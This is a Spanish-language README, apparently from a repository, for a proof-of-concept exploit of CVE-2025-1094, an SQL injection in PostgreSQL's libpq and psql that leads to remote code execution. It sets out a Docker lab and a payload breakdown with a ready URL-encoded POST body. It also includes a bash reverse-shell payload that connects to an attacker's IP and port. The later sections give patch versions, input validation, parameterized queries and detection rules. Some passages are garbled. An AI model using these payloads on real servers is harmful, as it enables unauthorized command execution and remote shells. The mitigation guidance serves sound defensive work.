
Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación.
Prueba de concepto para la vulnerabilidad crítica de inyección SQL en el cliente libpq de PostgreSQL y la herramienta psql
CVE-2025-1094 es una vulnerabilidad crítica en la biblioteca cliente libpq y la herramienta de línea de comandos psql de PostgreSQL. Esta vulnerabilidad permite a un atacante realizar inyección SQL y escalar a ejecución remota de código (RCE) incluso cuando la aplicación ha usado funciones de escape de cadenas estándar como PQescapeLiteral.
El error surge de la inconsistencia en el manejo de cadenas de bytes multibyte no válidos (como UTF-8) entre la biblioteca de escape y el analizador sintáctico de psql.
1. Bypass de escape
PQescapeLiteral es engañada por un "byte nuevo" (por ejemplo 0xC0)') adjunta son un único carácter2. RCE a través de metacomandos
\! de psqlEl proyecto está organizado para simular un entorno realista al llamar a la función C libpq:
.
├── docker-compose.yml # Inicia PostgreSQL + App Web
├── exolit.py # Script de explotación - Ataque desde el exterior
├── README.md # Este documento
└── app/
├── app.py # Aplicación web Flask - Recibe entrada del usuario
├── Dockerfile # Construye imagen con código vulnerable
└── init_db.sql # Inicializa la base de datos
/search\!hax\xc0'; \! id; #
| Componente | Valor | Significado |
|---|---|---|
| Data input | hax | Datos normales |
| Byte nuevo | \xc0 | Byte UTF-8 no válido - bypass de escape |
| Comilla | ' | Comilla simple "invisible" - elude el filtro |
| Fin SQL | ; | Finaliza la sentencia SQL actual |
| Metacomando | \! | Comando especial de psql - sale al shell del sistema operativo |
| Comando shell | id | Comando a ejecutar (puede reemplazarse por una reverse shell) |
| Comentario | # | Marca de comentario SQL - desactiva el resto |
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() no reconoce \xc0 + ' como un ataque
↓
3. La cadena se envía a psql: hax\xc0'; \! id; #
↓
4. psql analiza: la parte \xc0 se considera como fin de cadena
↓
5. El metacomando \! se activa
↓
6. El comando shell id se ejecuta con los permisos del contenedor
docker-compose up -d
docker-compose ps
Asegúrese de que tanto PostgreSQL como la aplicación Flask estén en ejecución.
python exolit.py
Resultado esperado: Mostrará la información uid=0(root) obtenida del servidor
docker-compose down
Envíe una petición POST a /search con el siguiente body:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (byte UTF-8 no válido)%27 = ' (comilla simple)%23 = # (signo de almohadilla)+ = espaciohax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Nota: Reemplace <ip-hacker> y <port-hacker> con la IP y el puerto de la máquina del atacante
Actualice PostgreSQL a las versiones parcheadas:
| Versión | Versión segura |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Siempre valide que los datos de entrada sean UTF-8 válido antes de procesarlos:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
En la programación de aplicaciones, utilice las bibliotecas de controladores oficiales:
# ❌ NO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ SÍ: Usar consultas parametrizadas con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootConfigure reglas para detectar patrones:
- Byte 0xC0, 0xC1 en el cuerpo de la petición
- Metacomando `\!` en la entrada del usuario
- Cadenas como `; \!` o `' \!`
Enlace al archivo fuente (Antes del parche) Puede ver el archivo src/interfaces/libpq/fe-exec.c en la versión 17.2 (versión aún vulnerable):
Ver "El Parche" (The Patch) - Lo más importante para White-box Para entender por qué ocurrió el error y cómo lo corrigieron, la mejor manera es ver el Commit Diff (el cambio entre la versión vulnerable y el parche).
Análisis de la vulnerabilidad : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/